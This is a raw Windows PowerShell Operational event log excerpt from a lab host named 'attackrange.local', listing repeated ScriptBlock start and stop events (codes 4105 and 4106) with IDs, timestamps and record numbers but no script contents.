Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027665
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027664
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027648
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027647
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027642
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027641
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027619
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027617
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027616
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
